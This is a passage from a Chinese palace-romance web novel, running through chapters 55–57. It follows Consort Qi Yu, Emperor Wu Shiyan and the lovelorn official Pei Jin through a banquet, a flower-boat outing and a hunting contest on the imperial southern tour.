况且贵妃娘娘不知道裴大人其实全部都记得,他却是知道! 整日提心吊胆着陛下与臣子觊觎一人,简直比最初陛下觊觎臣妻还刺激。 田文善不再耽搁,连忙笑眯了眼:“陛下,奴才腿脚利索,不如您将侍卫派到奴才身边,奴才来等衙门的人?” 乌时晏将令牌扔给了他:“事情办好,速速归来。” 田文善连忙接住称诺。 队伍重整出发,乌时晏携着戚妤登上马车。 戚妤先进去,乌时晏对裴谨道:“爱卿身体不好,还是不要出来乱晃了,尤其是晃到这里。” 裴谨恭敬道:“微臣仅是想保护贵妃娘娘。” 却不成想看到了这个样子的戚妤,他反而被当成文弱书生保护了。 不过滋味也相当奇妙。 乌时晏寒了脸,戚妤见人久久不进来,便掀开车帘,唤了声陛下。 乌时晏遂进入马车,裴谨直至回到自己的马车,想的也是方才戚妤不带一丝笑意弯弓搭箭的那一幕。 喜欢。 马车内,戚妤好奇问:“陛下与裴谨说了什么?” 她不知该如何面对裴谨,只得冷脸以对,好在,一切回归了正轨。 只是她对裴谨仍抓心挠肝的好奇。 她嗅到裴谨身上的冷香就那寥寥几次,不甘心。 乌时晏心中有些怨气:“朕并未为难他,只是告诫他不要乱走动。” 裴谨看着老实,却句句顶撞。 戚妤颇为无奈:“臣妾自然知道陛下为人。” 她将手放到乌时晏手背上:“陛下方才武艺超群,侍卫中的青年才俊都被陛下给比下去了,臣妾亦是目不转睛看着陛下。” 乌时晏刮了下戚妤的鼻尖:“你骗朕,如果一直在看朕,如何能射中山中的匪徒?” 戚妤没有半点心虚:“正是臣妾太关注陛下,才注意到山上有人对陛下设埋伏,因而一箭命中。” 乌时晏的心又飘了起来:“阿妤也很厉害。” 戚妤闻言笑了笑。 其实从这方面来说,乌时晏挺好的,顺着他的毛哄一哄,便也忘了她是听到两人起争端才出声唤乌时晏的。 裴谨不无辜,可也确实忘了一部分记忆,乌时晏身为皇帝,留着裴谨已是他最大的宽宥,戚妤无法断两人的是非,只好把一个人喊走。 戚妤有些疑惑,裴谨明明没了与她相处的记忆,可开口仍火药味十足,让乌时晏也失了涵养。 要是裴谨全都记得……戚妤觉得,被戏耍了一番的她绝对半分好脸色也无。 因为太丢脸了。 随着马车继续行驶,她不断地在想这种可能。 只是睫毛轻遮,让人看不出她眼底的思绪。 晚上,他们在驿站休息了一晚,翌日,继续启程。 待到下午,他们便到了行宫。 云平公主也在南巡的队伍中,但因已经出宫立府,并不在后宫女眷中,戚妤直至现在才见了她一面。 乌时云得了消息,早早便候着了,见到戚妤,浅笑着道了声皇嫂。 戚妤笑了起来,进入行宫走了片刻后,她见乌时晏身后跟着几名大臣,便与他悄声说了要离开的意思。 乌时晏看了眼乌时云,点头应允。 戚妤出声告退,顺利与乌时云携手离开。 直至离皇兄那边很远了,乌时云才发自内心感慨:“皇兄和嫂嫂感情真好,特意空出了时间去找皇嫂游玩。” 到行宫后,她来找戚妤,才发现戚妤不在。 过了几天,陛下处理好政事,也离开了,后又一起归来。 不难猜出二人是提前约定好的,只因皇兄分身乏术,才让皇嫂先行一步。 戚妤如实道:“只在陛下名下的宅子上呆了一段时间,那里不比行宫附近繁华。” 乌时云笑意加深:“嫂嫂,我给你介绍几位京中女眷,都是性情极好的人,也免得嫂嫂在行宫无聊。” 戚妤生出些好奇,到了乌时云的住处。 先来的是位姓温名玉婵的姑娘,十七八岁,模样秀丽文气,是朝中德高望重的温老大人的独女。 后来的两个一个叫左慧心,是左将军府的小姐,眉眼带着股英气,一个叫秦筠,母亲是县主,与乌时云沾亲带故,秦筠嫁给了文信侯世子为妻。 为了给皇嫂找玩伴,让皇兄放心将皇嫂交给她,乌时云可是煞费苦心,身份不能太低,性格不能相仿,甚至不能都是待字闺中的小姐,不然以皇嫂的身份总有拘束感。 戚妤对她们点头:“不必多礼。” 三人纷纷应下。 温玉婵喜静,左慧心虽沉稳但爱玩儿,秦筠则让人处处都挑不出错。 她们五人玩了投壶后,就熟络了起来。 戚妤知道了左慧心武功不错,弓马娴熟,便约好明日一起去骑马。 至于秦筠,交谈过程中,戚妤听到她的丈夫与裴谨交情颇好,心道京中出身不凡的果然都相互认识。 而温玉婵,则是个体贴的好姑娘,她们的茶水都没见过底,由此可见,亦有些害羞。 等戚妤回去时,乌时晏便问她去做了什么。 戚妤将三人一一说了,乌时晏点头道:“乌时云做的不错。” 待戚妤坐下,乌时晏主动给她理清了京中格局,温家代表文臣一派,左家是武将一派,他们中有世家出身,也有寒门出身,文信侯府则是老派王侯。 戚妤记下了,但不感兴趣,听的昏昏欲睡。 乌时晏知道戚妤想听什么,便道:“那位温姑娘与朕的国舅有情,且温卿喜闻乐见。” 戚妤炯炯有神地看向乌时晏。 乌时晏哑然失笑,便与戚妤细细说了他是如何察觉的。 主要是舅舅薄行舟实在藏不住事,在他面前晃个一两次便被他注意到苗头了。 戚妤讶异:“陛下竟然派暗卫去盯两人,最终确凿了两人来往过密?” 乌时晏眼中划过丝羞囧,不过很快他正经含笑道:“做皇帝的关心国舅何错之有?” 戚妤:“……” 如果没记错的话,乌时晏是小辈,管薄行舟叫舅舅的。 “但温爱卿想多留女儿几年,便未立即应了国舅,只是放任两人私下的一些来往。” 舅舅倒来找他要过赐婚圣旨,但温爱卿太好用,他不好拂了温爱卿的意思,便未答应。 乌时晏想到,在京中时,温爱卿作为裴谨的上司,就是他将裴谨牵制在了官署。 戚妤问:“陛下的暗卫还探听到了什么?” 乌时晏很想说出暗卫记录下的裴谨与他妻子间的恩爱,但戚妤貌似只想听纠葛深重的事,此时提起前者,只会坏了她的好心情。 他默了默,略过有关裴谨的,只讲其他人的事。 乌时晏讲故事连代称都没有,直呼人名,言辞直击要害,最后还点评一番。 譬如说这人私德有亏,朕不想见他,就将他打发的远远的。 戚妤听的心满意足,她原以为京中很平静,却没成想高门大户下的奇闻屡见不鲜。 衬托得乌时晏原想抢臣妻这种德行有亏都变得无伤大雅了。 戚妤眼眸亮晶晶的,乌时晏也笑起来,眼中绵绵情意流淌。 他觉得眼前的阿妤分外可爱。 戚妤傻傻地看着他,她和乌时晏的距离好像在今晚一下子就拉近了。 不需要一直不断的炽热情意,仅需毫无保留的分享。 戚妤觉得自己太快乐了,身边有一个情报头子。 第55章 行宫内的男女大防并不严重, 第二天戚妤和左慧心会合后,两人先畅快地骑马跑了两圈,后在亭子里歇息喝茶时,便看到了文信侯世子将他的夫人秦筠送了过来。 文信侯世子名唤杨思谦, 将人送至亭子外便停下了。 秦筠手拿帕子, 冲她们摇了摇, 她身边的丫鬟提着一个食盒。 戚妤与左慧心双双起身, 还不待她们相迎, 秦筠便快步上前道:“我给娘娘和慧心带了糕点, 我们家厨娘的手艺连云平公主吃了都说喜欢。” 戚妤拉秦筠坐下:“那太好了, 我们正觉得喝茶无聊。” 温冷的淡金日光洒在戚妤身上,她腕上的镯子显出低调的光泽感,杨思谦原本要退走,见此目光一凝, 不由恍惚了起来。 他见过这个镯子。 但是裴谨怎会与八竿子打不着的贵妃扯上关系? 杨思谦悄无声息离开了。 亭内的三人还在交谈着,戚妤想着方才秦筠提到了云平, 便让人去唤一声云平。 这样的场合她应该喜欢。 而温玉婵, 戚妤在骑马时还远远见过, 一男一女走在空旷的林边, 她估摸着温玉婵身边的便是国舅薄行舟,便没让人去打扰。 另一边, 杨思谦离开后,就去找了裴谨。 “裴兄, 伯母给你留的镯子你弄丢了?” 裴谨的外婆经商, 将生意做的极大,当时又背靠在朝中的裴父,无人敢觊觎这份产业。 裴谨又是裴父裴母的独子, 可以说从小就是砸玉玩儿的,别看他看着两袖清风的样子,满京与他年龄相当的才俊都没有比他更富的。 裴谨今年也不过弱冠,比陛下还要小几岁。 因而杨思谦对裴伯母的出手阔绰印象深刻,对那只镯子自然也留了心。 他原以为是落在了赵婉仪手上,谁知今日却在贵妃娘娘腕上见到了。 他确信自己没有看错。 杨思谦百思不得其解,他很想猜测是赵婉仪送给了贵妃娘娘,可这样意义非凡的东西,赵婉仪怎会说送就送。 裴谨:“为什么这么问?” 杨思谦语气复杂:“今日我送筠儿时遇见了贵妃娘娘,在娘娘的腕上见到了伯母当年准备的镯子。” 裴谨神色平平,好似没什么大不了的,他道:“可能是混进谢礼里送错了,你知道,我前段时间遇刺受了重伤,其实不是陛下救的,是贵妃娘娘救了我。” “原来如此。”杨思谦皱着眉。 但这样重要的东西,裴谨会疏忽至此吗? 况且裴谨的反应太过稀松平常,搞的杨思谦都要怀疑是不是自己太过小题大做。 杨思谦想起陛下曾经也是见过这个镯子的,以云平公主体贴贵妃的劲儿,便能从中窥探出陛下也是在意贵妃娘娘的:“陛下那边……” 裴谨温声道:“陛下日理万机,怎会注意到如此小事。” “既已经送出去了,没有要回来的道理。杨兄,此事不必再提,这镯子于贵妃娘娘不过是一件可以随意戴着赏玩儿的首饰,若有别人问起,你只管说看错了,万不能毁了娘娘清誉。” 杨思谦拍了拍胸膛:“你还不信我吗?我办事最稳妥了。” 他又问:“裴兄,你的伤还好吗?” 裴谨:“已无大碍,应当可以出席三日后的宴席。” 三日后是陛下宴请南巡官员与江南当地官员的日子,地点仍在行宫。 三日很快便过去了。 但裴谨却忽然抱恙不能赴宴,陛下特派了御医前往。 宴席很快开场,杨思谦随众人一同起身行礼,他低眉,见陛下与贵妃娘娘相携坐到主位上,又听着陛下道了声众卿平身。 杨思谦心中不禁泛起古怪。 “夫君,怎么了?”秦筠柔声问。 杨思谦落座后道:“无事,只是裴兄身体抱恙,不能过来,我为之可惜。” 但他早上去看裴谨时还好好的,还有闲情雅致泡茶下棋。 好端端的,怎就下午就抱恙了呢。 杨思谦有个大胆的猜测,裴谨不能来倒像是陛下特意“关照”。 毕竟除了陛下,谁又有这么大的能量,能左了裴谨的意思? “夫人,你常与贵妃娘娘聚在一起,她是一个什么样的人?” “贵妃娘娘啊。”秦筠想了想,唇边是温和的笑意,“宫中很少有这种平易近人的贵人了,和左姑娘玩儿的很好,便是云平公主也会在她身边撒娇。” 因朝中局势错综复杂,鲜少有人会与左将军府交好,但贵妃却似毫无所觉,每每出门都要请人去问左慧心,给足了面子。 而云平公主这样高傲的一个人,在贵妃面前却乖的像只猫一样。 秦筠只是想想便觉得有趣。 “夫君问这个做什么?” 杨思谦低声用无关紧要的话答着。 主位上,戚妤百无聊赖往下看着。 裴谨居然没有出现。 乌时晏见戚妤目光所过,将一盘挑好刺的鱼肉递了过来。 戚妤忽然问:“陛下,裴大人当真失忆了吗?” 她问这个问题,只是想看看乌时晏有没有什么破绽,因而时刻注意着他的神情。 戚妤早早便想通了,不论裴谨真失忆还是假失忆,归根结底,还是缘分太浅。 只是她对乌时晏存疑,所以想借此试探他一下。 乌时晏没有任何停顿,将一盘鱼肉稳稳放在戚妤面前,不假思索道:“当然,裴谨是这样说的。” “朕又不怎样他,他何苦说假话?” 太大胆了,戚妤怎么能在他面前提起裴谨? 男子在外养了外室还知道不与正妻提及,他看着就这么大度? 乌时晏郁闷至极,原本弯起的唇角不着痕迹放下。 纵使他的的确确在其中掺了一脚,他也是要委屈的。 做皇帝,要的就是理直气壮。 戚妤总疑心自己,难倒裴谨就看着是个光明磊落的人,他看着就像是会威逼利诱的吗? 乌时晏满腹怨气,收回了手。 戚妤没看出任何破绽,只好作罢。 她气弱,讨好地冲乌时晏笑了笑。 乌时晏拿乔起来,微沉着脸。 底下的大臣对陛下这副样子很熟悉,每次陛下上朝,几乎都是这般,让人大气也不敢喘。 不过方才见到陛下给贵妃摆笑脸,他们才恍然,他们算什么,不过是臣子,哪里劳得动陛下给他们笑? 这会儿陛下又恢复沉怒的样子,大臣们才舒了心,这才是他们熟悉的陛下。 “陛下?” 乌时晏不语。 戚妤只好将乌时晏的手拉过来,给他从下往上捏着胳膊,甜笑道:“陛下,你理理臣妾。” 乌时晏微抬着下巴,心中很是受用,但谁生气会这么短时间被哄好? 他于是过了好一会儿才道:“鱼肉要凉了。” 戚妤将他放开,吃起鱼肉。 乌时晏发现她这般果断松开他,心中忸怩的很。 戚妤不担心哄不好乌时晏,吃完她继续眉眼弯弯看向他,期间还与温玉婵递过眼神。 那日她见到的立在温玉婵身边的男子,正是国舅,如今也在席上。 恰好她与温玉婵对上视线,温玉婵眼眸带笑看向她,在笑她与陛下,她自然也要戏弄一下她与小国舅。 见温玉婵咬着贝齿,羞涩不已低下头,戚妤如打了胜仗般收回视线。 乌时晏握着戚妤的手,只觉她装傻充愣的本事练的炉火纯青,专来糊弄他了。 “不要看别人,看朕。” 乌时晏目视前方,神情平静,任谁都瞧不出他在桌子下把玩着戚妤的手,又说着这话。 戚妤:“……” 京中能人无数,没点本事真的很难立足,杨思谦恰好会读唇语,方才他给陛下敬酒,正好是陛下在说:不要看别人,看朕。 不难猜出,陛下与贵妃之间感情很好,很难再插一个人。 美酒下肚,杨思谦心里却乱糟糟的。 因而宴席一散,杨思谦就直奔裴谨的住处。 此刻夕阳西下,裴谨坐在院中的藤椅上在看棋谱。 杨思谦问:“太医呢?” “已经走了。” 裴谨神情淡淡,杨思谦有些摸不准了,他硬着头皮道:“贵妃娘娘与陛下的感情真的很好。” 裴谨斜了他一眼。 似是在说,什么眼神? 贵妃与陛下若真毫无嫌隙,他也不可能趁虚而入,归根结底,是陛下给了他机会。 杨思谦没注意到此举,他继续道:“我原以为我与筠儿便是神仙眷侣了,但见了陛下与贵妃,我才明白帝王对心上人的退让,况且陛下这些年可只喜欢过贵妃一人。” 裴谨打断道:“先前京中盛传陛下喜欢臣妻,再者,陛下宫内可还有三位美人。” 怎么在杨思谦眼里就一心一意了呢? 杨思谦感觉自己的心脏都要炸开了,他就知道这厮在觊觎贵妃! 杨思谦木着脸:“那你妻子呢?” 裴谨淡淡道:“我会与我的夫人恩爱如常。” 只要进京,就能发生在乞巧节那日的意外。 赵婉仪要复仇,就绝无可能拒绝他的提议,等戚妤入了裴府,她是裴夫人就是板上钉钉的事。 裴府只剩他一人,他身后倒干净的很。 因而他什么也不怕。 若陛下行事不顾忌,史书上一定会留下夺臣妻的骂名。 他以身入局,只愿戚妤再以他夫人的名义呆在他身边一些时日。 只是几天他也愿意。 杨思谦不懂裴谨话中暗藏的意味,他松了口气:“你好自为之就好。” 第56章 宴席过后, 戚妤和乌时晏还去河边走了走,直至风渐大,乌时晏将人搂进自己的鹤氅里,才回行宫。 “朕明天带你出去逛逛。” 戚妤道了声好。 回到行宫时, 乌时晏莫名问了一句:“阿妤, 你喜欢和朕在一起吗?” 戚妤还能怎样回答, 她怕乌时晏又恼羞成怒了, 自是顺毛道:“喜欢。” 她嗓音懒懒, 带着些倒头就睡的迷糊, 风将她的额发吹的呆立, 乌时晏不说,她也没注意到。 乌时晏喉咙中逸出些闷笑。 下一刻,裴谨的声音传来:“微臣参见陛下、贵妃娘娘,陛下、娘娘万安。” 戚妤被拢在乌时晏的鹤氅里, 视线受限,并未看到从侧边走过来的裴谨。 她也在此时才反应过来, 乌时晏打的是这个主意。 戚妤踩了乌时晏一脚, 与乌时晏拉开些合适的距离, 才显得没那么胡闹。 她浅笑着看向裴谨。 乌时晏道:“平身。” 裴谨直起身, 在看向戚妤时目光一顿。 戚妤有一瞬的虚幻,更多的是不明所以, 不过很快,她从裴谨眼瞳中的倒影看清了自己是何模样, 才明白裴谨为何看向她。 裴谨唇边含着一抹笑。 戚妤差点维持不住端方了, 她抬手拢了拢翘起的额发,又暗暗踢了乌时晏一下。 裴谨唇边的笑意变淡,淡的像一杯清茶。 陛下好手段。 短短几日竟能引得戚妤与他亲近了起来。 乌时晏拉住戚妤的手:“朕觉得阿妤这样很可爱, 若是提醒岂不坏了阿妤的好心情?” 戚妤就知道乌时晏理由多。 乌时晏问裴谨:“爱卿这是要去哪儿?” 裴谨说了一个地方。 乌时晏并不在意,裴谨出现的太刻意了,好似是他没让裴谨去宴席,裴谨来离间他与阿妤了。 裴谨在戚妤面前露一次面,戚妤哪还会相信是裴谨抱恙才不能出席? 随便猜一猜,谁有这么大能耐,就知道恶人是他。 乌时晏神情淡淡。 戚妤并未看出两人间的锋芒,坦白来说,她都不知道裴谨是因何没有出席,更不会去管这种无聊的小事。 裴谨没法停留太久。 三人很快分别。 戚妤与乌时晏回了寝宫。 直到宫人上前给乌时晏解鹤氅时,乌时晏才问:“阿妤,你不生气吗?” “什么?” 戚妤已经喝了一口宫人给她准备的姜汤,正惬意地抱着一个精致的手炉,宫娥在给她捏肩松神。 她生哪门子气? 乌时晏道:“在行宫前朕特意问你的话。” 戚妤手指摸着碗壁,想了想,这才反应过来,却浑不在意道:“反正他失忆了。” 失忆的人会吃醋吗?戚妤是没见过的。 想来现在的裴谨也是不会介意的。 乌时晏无声笑了一下。 今晚的乌时晏分外热情,戚妤摸着他的头发,不知道他吃错了什么药,简直把她融成了一汪热水。 翌日,理所当然的,两人起迟了,直到下午才从行宫出发。 戚妤与乌时晏只做寻常打扮,天际忽然斜斜地下起了小雨,乌时晏便将一柄大油纸伞举在了他们头顶,伞面朝戚妤倾斜。 他道:“我们去茶楼等雨停。” 戚妤却拽了拽他的衣袖:“去花船,听伶人唱歌。” 乌时晏问:“你从哪儿知道的?” 戚妤:“在行宫里,那些没有意思的公子吹嘘的多了,自然知道了。” 戚妤打定主意,乌时晏说服不了她,只好一起同去。 他心中暗忖着,要好好教训一番随行而来却游手好闲的官员公侯之子了,定是他们带坏了戚妤。 花船上的伶人是清倌,卖艺不卖身。 乌时晏出的钱多,船上很快点起了灯,有数位美人抱着乐器款款而来,船外烟雨朦胧,湖面不断泛起涟漪,传中丝竹声响起,置身此间,有种说不出的惬意。 戚妤坐在软榻上,有人谈琵琶,有人抚琴,站在最中间的美人在唱曲儿,声音婉转动听。 这可比茶楼有意思多了。 乌时晏见戚妤只赞叹地看着,稍微安了心。 一曲落,戚妤让最中间的人走近,问道:“你可不可以教我唱曲儿?” 谭云看了眼戚妤身边的男子,知道两人出身不凡,又姿态亲密,便将两人的关系猜了个七七八八,她为难道:“怕是不行。” “不过我这里有一首简单的歌谣,若是夫人感兴趣,妾身可以教给您。” 谭云见戚妤点头,便清唱了两句。 乌时晏听了一耳,发现是母后曾经哼过的,于是没有出言制止。 戚妤听完后就决定要学,她让谭云坐在她跟前,一句一句教她。 戚妤音感不好,但有一副好嗓子,随意哼哼就很好听。 且这首曲子如谭云所说,确实很简单。 学会了曲子,戚妤一高兴,就让人赏了谭云几个银元宝。 让谭云等人下去后,戚妤对乌时晏道:“陛下,我给你唱一唱好不好?” 乌时晏气息平稳,纵使喜悦也没有表现的很明显,他声音微哑:“好。” 戚妤就靠在了乌时晏身边,连着唱了三遍。 乌时晏轻轻闭上了眼睛。 戚妤一转头,发现乌时晏竟然睡着了。 她唱的很催人入睡吗? 戚妤郁闷之余示意佩玖去取他们带来的毯子,盖在乌时晏身上。 佩玖是真的佩服自家娘娘,不仅将陛下带到了花船,还让陛下毫无怨言的陪着。 不过娘娘确实很长时间没有听曲了。 以前在宫里,还有伶人到昭阳殿跳舞抚琴。 南巡路上不比从前,自然一切从简,舞乐歌伎是没有带的。 等到回行宫的路上,戚妤问乌时晏,才得知他今日一早便起来处理政务了,等到快晌午才来陪她睡了会儿。 因而竟不知不觉在她身边睡着了。 戚妤心情复杂,乌时晏纵使少睡会儿也要空出时间陪她。 戚妤喜欢上什么东西,不管之后什么态度,这段时间必然是万分喜欢的。 她对镯子的热情稍稍退却,爱哼起了歌。 乌时晏时时在她身边,听的最多。 戚妤每每问他好听不好听,乌时晏也极给面子的说好听。 戚妤捧着乌时晏的脸在看,他脸上的疤已经没有,但看向她的目光却比之前黏糊了许多。 明明唇边只有一点笑意,却能让人觉得他心情很好。 帝妃的感情不是秘密,尤其常与陛下接触的大臣。 陛下心情好,他们也就更顺当。 裴谨即便不去刻意听,这些事也会传到他耳中。 他几乎要压制不住内心的嫉妒,也开始质疑,为什么当初他会同意陛下递来的主意。 如果他当时不应,是不是比现在要好些? 裴谨握紧了茶杯。 因他的说辞,戚妤明显不再去看他,注意他,即便不得不去看他时,表露的态度也恰到好处。 若是全然的冷淡,裴谨许是会感到高兴,可偏偏不是。 这也就意味着,戚妤是个很拿得起放得下的女子。 他身上有值得她留恋的地方吗?恐怕比陛下还要不如吧。 陛下能为了陪她提前处理好政务,“大度”地让他这个臣子回京,即便他送了那个意味深长的镯子,陛下也没有发疯,直到这些日子才慢慢将戚妤腕上的镯子换了下来。 杨思谦今日来看裴谨,发现他神情平静,不由暗道了声好。 也不枉他千方百计收集来陛下与贵妃娘娘恩爱的证明,又花重金收买了裴谨院中的下人。 要知道行宫的下人可不好收买,尤其是陛下还在行宫的情况下。 裴谨问:“你怎么来了?” 杨思谦道:“夫人与贵妃娘娘一同出去了,我无处可去,只好来找裴兄了。” 话一出口,杨思谦就想打自己的嘴。 裴谨反应如常:“今日天冷,约莫会下雨,不如我在这里做了姜汤,由杨兄送去?” 杨思谦:“不好吧。” 裴谨问:“杨兄从未体贴过夫人吗?” 杨思谦坐下,他当然是个体贴人,不然也不会送夫人出门,才得知贵妃戴了什么镯子。 可裴谨明显是醉翁之意不在酒,他不想裴谨再执迷不悟下去。 裴谨道:“杨兄上次在我书房看到的那副真迹,若真喜欢,等回京后我会让管家送到侯府。” 杨思谦沉默下来。 “这怎么好意思呢……我只帮你这一次,而且对外要说是我给我夫人送的姜汤。” 裴谨颔首:“自然。”- 戚妤身边有宫人,下午虽下了雨,但佩玖还是及时将伞撑开了。 她只是受了点风,恰好杨世子送来了姜汤,秦筠说什么也要让她喝了再离开。 秦筠道:“若让娘娘受了寒,便是臣妇的责任了。” 戚妤只好留下将姜汤喝了一干二净,热的双手都暖烘烘的才离开。 回到寝宫,留在宫殿的宫人端来了一碗药。 戚妤见是乌时晏的人,问了一句:“这是什么?” 宫人道:“这是陛下吩咐给娘娘煮的御寒的汤药,陛下要娘娘趁热喝。” “先放这儿吧。” 是药就会苦,戚妤觉得自己很强壮,不需要喝。 宫人面露为难,但还是没敢忤逆娘娘的意思,放好退了出去。 乌时晏没过一会儿便来了,他问:“阿妤从外面回来,怎能不喝药,若冷着了怎么办?” 戚妤笑道:“已经喝过姜汤了。” 她皱了皱鼻子:“药太苦了,而且是药三分毒,臣妾不喝。” 乌时晏过来搂住戚妤,将手放在她平坦的腹部,心中有些忧愁。 若是以前,他自然可以慢慢等一个孩子,可现在,有一个不死心的裴谨在,他恨不得让戚妤的整颗心都牵绊在皇宫,再分不出空隙来留给旁人。 但是无论他们怎样频繁同床,直到现在也未传来好消息。 他不得不宣御医来配药。 “不喝就不喝吧。” 戚妤嫌苦,那有什么办法? 又隔了几天,戚妤从乌时晏嗅到了些药味,虽然应是沐浴过后,身上留的更多的是皂角清香,但她还是闻到了。 “陛下受伤了?” 乌时晏摇了摇头:“并未。” 戚妤蹙眉:“那陛下为何喝药?” 乌时晏捏了捏她的脸:“阿妤怎么知道?” 这是变相承认了。 “陛下别管臣妾怎么知道,陛下只要告诉臣妾你为何喝药。” 戚妤心道,若她如实说了,只怕下次乌时晏不想让她知道怕是连薰香都会用上。 乌时晏垂眸,又长又直的睫毛静静支着:“朕想补补朕身为男子的那一方面。” 戚妤:“……” 她迅速涨红了脸,不禁抬高了声音:“不必补,真不必补!” 乌时晏失笑。 “为何,是阿妤很满意朕吗?” 戚妤的声音低不可闻:“……满意的。” 乌时晏揽着着戚妤:“阿妤不必管,朕有分寸。” 孟舍说,如果等不及,男子喝药也有助于怀孕。 他来喝也好,不必胆战心惊瞒着戚妤,生怕哪天同裴谨一样落到他那副境地,进退两难。 戚妤不太相信乌时晏的分寸。 但晚上和之前没什么不同,她便放下了心来。 只是清晨迷蒙之间她想,若是喝了药维持在了以往的水准上,那不喝药呢? 哎,谁能想到乌时晏年纪轻轻就…… 但事实上,戚妤与乌时晏相处更自然了,弱一点好啊,不然她真吃不消。 不过她也无法劝乌时晏不必喝药,害怕伤了乌时晏的自尊心。 冬天还有一个月将至,南方还不太冷,但南巡的队伍却要在入冬前回京,不然下了雪,路滑难行。 这一路上原本要戚妤处理的事都是由周妙茵、吕舒、邓月槐三人商量着来。 因而即将回宫,戚妤与乌时晏在商议着提一提三人的位分。 最终定下了周妙茵为婕妤,吕舒与邓月槐为容华。 婕妤位分比容华高一级,三人中周妙茵办事最全面,吕舒与邓月槐各有各的缺点,前者太依赖周妙茵,后者有些毛躁。 除此之外,若周妙茵想迁宫独居,也可以选一个宫殿。 及至离开行宫前一日,戚妤让人去买了许多江南特产,预备回京带给太后、赵婉仪与锦榕姑姑。 据裴谨所说,在他送信后,赵婉仪已经提前归京了。 队伍重新出发,马车行驶的很缓慢,戚妤掀开车帘,天上的云彩往他们身后飘去。 她支着下巴,也有些小忧愁。 就是不知道已经这样了,剧情还能不能按原本的方向发展。 第57章 回京的路上枯燥乏味, 不过中途乌时晏提起大臣们的公子,言语中抱有对大燕未来的展望与期许。 懂事的大臣自然读懂了圣心。 于是在经过一个山林时,队伍暂时停下两日,安营扎寨, 由侍卫先将林中的猛兽驱逐, 才给这些公子们配了马与弓箭, 让他们进林中狩猎, 最后以猎物多少定名次。 头彩是一把镶有宝石的锋利匕首。 匕首被拿出来, 引得一众呼号, 原来在先皇时便以得一把这样的匕首为荣。 拥有这把匕首, 意味着近几年的青年才俊中这人骑射最佳。 戚妤与乌时云、温玉婵、秦筠坐在一个帐篷内。 秦筠道:“国舅一同去狩猎了,若是薄国舅拔得头筹,不知我等是不是能摸一摸那把匕首?” 温玉婵脸庞微红。 温玉婵与薄行舟的事不是秘密。 乌时云打趣道:“我看杨世子也参加了,世子夫人与其寄希望于他人, 不如给杨世子好好补补,让他一举夺魁。” 秦筠挑眉, 格外俏丽。 戚妤笑看着她们。 左慧心的兄弟也需得去狩猎, 她方才带着丫鬟出去, 现下掀帘走了进来。 戚妤吩咐宫人道:“快给慧心递个暖手炉。” 左慧心虽然不惧寒, 但也不会拂了戚妤的好意。 “多谢娘娘。” 左慧心接过手炉,在戚妤身边坐下, 顺着方才她在帐篷外听到的话题道:“娘娘肯定不知,我在哥哥身边看到了谁?” 戚妤面露好奇。 左慧心也不卖关子, 很干脆道:“是裴谨裴大人, 他骑着马,拿上了弓箭,看样子是要一同进入林中角逐。” 温玉婵:“那谁拿到头彩就要看运气了。” 裴谨的骑射可以说是相当好, 只是自裴父裴母早逝,他又入朝为官,沉淀了下来,众人渐渐忘了他少年人时的意气风发。 于是众人又说起了裴谨,戚妤便也知道了他年少成名,早早取得功名,父母恩爱到后宅没有旁人,裴父官职一路高升后,连带着他也愈加耀眼,而后便是急转直下,随乌时晏离京后,裴父裴母病逝在营中,最终天下平定后,又做起了四平八稳很得圣心的文官。 直至现在,众人对裴谨的最大印象便是温润如玉。 戚妤没特意打听过裴谨,在此之前还停留在他皮相好又脾气好上。 现在知道他君子六艺每样都习的很好,又觉得合该如此。 但戚妤也没觉得裴谨会拔得头筹,毕竟她即便不知道国舅与杨世子的深浅,好歹对左慧心的哥哥,这个武将出身的人有所了解。 对于武将,骑马狩猎已属家常便饭。 然而等到下午,天边隐隐翻起夕阳的橘黄时,前往林中狩猎的人陆陆续续归来,于是戚妤便听到了有人说裴谨射到了一只虎。 戚妤不禁皱眉,傻子,正常人遇见老虎,都得赶紧避开。 他倒好,腰上的伤好没好还两说,竟然敢射虎。 乌时晏听到这则消息时,反问道:“林中不是没有猛兽了吗?” 侍卫长道:“微臣失职,请陛下降罪。” 乌时晏:“去领二十大板。” 随着回来的人越来越多,信息也更完整了。 戚妤命人问清楚了才知道,裴谨是撞上了老虎眈眈几名勋贵子弟,他这才出手的。 侍卫长领罚后回来再一听,不由有些庆幸,老虎被猎杀,和威胁到好几个人的性命那可是两码事,若迟些,可就不止二十大板了。 毋庸置疑,裴谨这次大出风头,最后一算猎物,即便不算那头费了很大功夫的老虎,也是裴谨第一。 他这是从一开始便牟足了劲儿来争。 周围纷纷是为裴谨叫好的声音,女眷也出来循声看去。 乌时晏含笑,心情却不是很美妙,明明这是他要用来教训纨绔子弟的场合,却让裴谨这厮大出风头,偏偏他还不能挂脸。 乌时晏宣布今日力拔头筹的是裴谨。 周围又是一片激昂的欢呼声。 田文善将头彩用托盘端给裴谨,裴谨将匕首拿起,举了起来,他目光璀璨,尽显卓绝风姿。 戚妤在一旁将这一幕收入眼底,眼晴不由亮了起来。 晚上是篝火晚宴,狩猎带回来的猎物得尽快吃了。 气氛热烈之处,众人纷纷举杯大口喝酒。 戚妤也小酌了几杯。 今天薄国舅、杨世子与左慧心的哥哥打到的猎物都很不错,名次末尾的就有些惨了,被乌时晏点名训了好一会儿,再不上进的人此时面皮也涨的通红,亦有几个臣子纷纷掩袖遮面,觉得丢人。 不用想也知道回去后会找来棍子好好教训一番不孝子。 乌时晏用小刀将嫩肉切给戚妤,直到看她不吃了才不再继续。 裴谨今晚是真的风光,宴席结束时,身边也围着杨世子等人。 乌时晏与戚妤率先离席,裴谨见此也露出不堪其扰的样子,其他人见好就收,几杯酒后放过了他。 裴谨喝的酒不少,竟也大胆地朝戚妤追去。 要知道,戚妤身边还站着一个乌时晏。 “娘娘请留步!” 乌时晏喝的酒不算多,因而还算清醒,戚妤就没醉过。 眼下虽身边都是亲近之人,此处火把的光线也很暗淡,但裴谨的行为却着实算得上冒犯。 戚妤停下,看向裴谨。 乌时晏很不高兴,斥骂道:“混账东西。” 迎着冷风一吹,裴谨冷静了大半。 戚妤拽了拽乌时晏的衣袖:“他醉了,不要跟一个醉鬼计较,派人将他送回去就好。” 裴谨心道,对啊,他醉了,做出什么对于旁人来说都是情有可原。 他凭着一股冲动过来,不想再狼狈而归。 裴谨将方才得到的镶满宝石的匕首拿了出来,双眼亮晶晶的:“娘娘,这个送给你。” 乌时晏气到头上都要冒烟了,神色愈冷,寒着张脸。 这边戚妤还在好声好气道:“裴大人你醉了,这东西本宫不能收,你速速离开吧,不然以下犯上是要挨板子的。” 